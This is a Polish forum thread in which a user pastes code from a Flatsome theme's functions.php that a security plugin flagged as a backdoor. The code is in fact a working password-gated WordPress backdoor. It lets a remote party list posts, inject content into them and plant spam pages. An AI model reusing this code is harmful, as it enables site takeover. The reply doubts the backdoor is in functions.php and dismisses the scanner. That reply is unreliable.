Skocz do zawartości

Problem z plikiem functions.php, Czy to backdoor script?


mak0

Rekomendowane odpowiedzi

Dziś przeskanowałem swoje szablony wtyczką Anti-Malware Security and Brute-Force Firewall i pojawił mi się komunikat o backdoor script. 
Mógłby ktoś rzucić na to okiem ? (jeśli temat umieściłem w złym dziale to proszę o przeniesienie go do właściwego działu )
 

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'cb6639ea92944b4ce188389ea3f1a26d'))
	{
		switch ($_REQUEST['action'])
			{
				case 'get_all_links';
					foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
						{
							$data['code'] = '';
							
							if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
								{
									$data['code'] = $_[1];
								}
							
							print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
						}
				break;
				
				case 'set_id_links';
					if (isset($_REQUEST['data']))
						{
							$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
							
							$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
							if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

							if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
								{
									print "true";
								}
						}
				break;
				
				case 'create_page';
					if (isset($_REQUEST['remove_page']))
						{
							if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
								{
									print "true";
								}
						}
					elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
						{
							if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
								{
									print "true";
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_URL_CD";
			}
			
		die("");
	}

	
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
	{
		$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
		if ($data -> full_content)
			{
				print stripslashes($data -> content);
			}
		else
			{
				print '<!DOCTYPE html>';
				print '<html ';
				language_attributes();
				print ' class="no-js">';
				print '<head>';
				print '<title>'.stripslashes($data -> title).'</title>';
				print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
				print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
				print '<meta name="robots" content="index, follow" />';
				print '<meta charset="';
				bloginfo( 'charset' );
				print '" />';
				print '<meta name="viewport" content="width=device-width">';
				print '<link rel="profile" href="http://gmpg.org/xfn/11">';
				print '<link rel="pingback" href="';
				bloginfo( 'pingback_url' );
				print '">';
				wp_head();
				print '</head>';
				print '<body>';
				print '<div id="content" class="site-content">';
				print stripslashes($data -> content);
				get_search_form();
				get_sidebar();
				get_footer();
			}
			
		exit;
	}


?><?php
/**
 * Flatsome functions and definitions
 *
 * @package flatsome
 */

require get_template_directory() . '/inc/init.php';

/**
 * Note: It's not recommended to add any custom code here. Please use a child theme so that your customizations aren't lost during updates.
 * Learn more here: http://codex.wordpress.org/Child_Themes
 */


 

Odnośnik do komentarza

Zarejestruj się za darmo i naucz się zarabiać online!

  • Dostęp do darmowych poradników pokazujących krok po kroku jak zarabiać w Internecie
  • Sposoby zarabiania niepublikowane nigdzie indziej
  • Aktywna społeczność, która pomoże Ci rozwiązać problemy i doradzi
  • Profesjonalne treści na temat SEO, social media, afiliacji, kryptowalut, sztucznej inteligencji i wiele więcej!

Cześć,

Zapewne darmowa wtyczka pokazuje ci, że masz backdoor lecz nie jest wstanie określić, w którym miejscu :kappa:

Motyw masz nulled czy z bazy WP? Jeśli nulled to jest duże prawdopodobieństwo, że jednak może zawierać backdoor lecz wątpię aby w functions.php. Szybciej nastawiałbym się na footer.php.

W takim razie polecam skorzystać z pakietu SeoTools, gdzie masz od ogromną ilość czystych premium motywów.

 Jeżeli twój motyw pochodzi z bazy motywów wordpressa to usuń tą wtyczkę jak najszybciej i nigdy więcej nie instaluj wynalazków, które są nastawione na łatwy zarobek :P

Pozdrawiam

  • Super 1
Kompleksowy mentoring bezpieczeństwa i anonimowości w internecie   

Kompleksowy mentoring - BEZPIECZEŃSTWO I ANONIMOWOŚĆ
Nie daj się śledzić, ukrywaj tożsamość online i offline, zabezpiecz swoje urządzenia i sporo więcej!

Odnośnik do komentarza

Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto

Jedynie zarejestrowani użytkownicy mogą komentować zawartość tej strony.

Zarejestruj nowe konto

Załóż nowe konto. To bardzo proste!

Zarejestruj się

Zaloguj się

Posiadasz już konto? Zaloguj się poniżej.

Zaloguj się
  • Polecana zawartość

    • Poradnik podatkowy - jak rozliczać się z pieniędzy zarobionych przez Internet bez DG?
      Zarabianie w Internecie wiąże się z koniecznością płacenia podatków - a rozliczanie się z urzędem skarbowym nie jest jednoznaczne i proste. Prawo podatkowe w Polsce jest nieujednolicone - co oznacza, że każdy urząd skarbowy może mieć inne interpretacje. Sprawdź jak się za to zabrać!
        • Lubię to!
        • Super
      • 12 odpowiedzi
    • JDG - Jak zarejestrować, rozliczać i prowadzić działalność gospodarczą w Polsce
      Jednoosobowa działalność gospodarcza (JDG) to najprostsza forma prowadzenia działalności gospodarczej w Polsce. Jest to działalność prowadzona przez jedną osobę fizyczną na własne nazwisko i na własne ryzyko. Jednak mimo, że nazywa się jednoosobowa - daje jednak możliwość zatrudniania pracowników. Takich firm jest zarejestrowanych w Polsce zdecydowanie najwięcej. Sprawdź jak zarejestrować, rozliczać i prowadzić własną JDG!
        • Super
      • 3 odpowiedzi
    • Inwestowanie w obligacje detaliczne skarbu państwa - od podstaw!
      Sprawdź jak inwestować w obligacje skarbowe - krok po kroku! Detaliczne obligacje skarbowe to rodzaj obligacji emitowanych przez Państwo, które są oferowane indywidualnym inwestorom, takim jak osoby fizyczne, a nie instytucjom finansowym.

      Są to instrumenty dłużne, nienotowane na żadnym rynku, co oznacza że kupując taką obligację, w praktyce pożyczasz pieniądze państwu na określony czas, a w zamian otrzymujesz odsetki. Można więc powiedzieć że obligacje są indywidualną pożyczką na określony % dla Skarbu Państwa. Państwo odda Ci więcej niż od Ciebie pożyczyło.
        • Super
      • 7 odpowiedzi
    • Jak pozyskiwać i zarabiać na poleconych dzięki make-cash.pl
      W tym poradniku przedstawiam możliwości dostępne dla każdego użytkownika. Dowiesz się jak efektywnie wykorzystać forum do zbierania poleconych i budowania dodatkowych zysków.

      Make-cash.pl to miejsce, gdzie ludzie dzielą się swoimi doświadczeniami, poszukują porad i rekomendacji, a także nawiązują wartościowe kontakty. Codziennie odwiedza nas minimum 2000 unikalnych osób, które są zainteresowane zarabianiem przez Internet - a to ogromny potencjał, z którego może korzystać nie tylko administracja - ale każdy użytkownik forum !
        • Super
      • 2 odpowiedzi
    • Jak pisać treści na stronę internetową z wykorzystaniem AI
      Tworzenie treści od podstaw może być procesem czasochłonnym. Istnieje wiele mniejszych kroków, o których należy pomyśleć w drodze do stworzenia atrakcyjnych treści, takich jak badanie rynku, SEO i redagowanie tekstu, a to tylko początek. Jednak nie musisz zaczynać od zera, gdy istnieją narzędzia AI, które mogą pomóc w tworzeniu wysokiej jakości treści. 
        • Dzięki!
        • Super
      • 13 odpowiedzi
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Ta strona korzysta z ciasteczek, aby świadczyć usługi na najwyższym poziomie. Dalsze korzystanie z witryny oznacza zgodę na ich wykorzystanie. Polityka prywatności .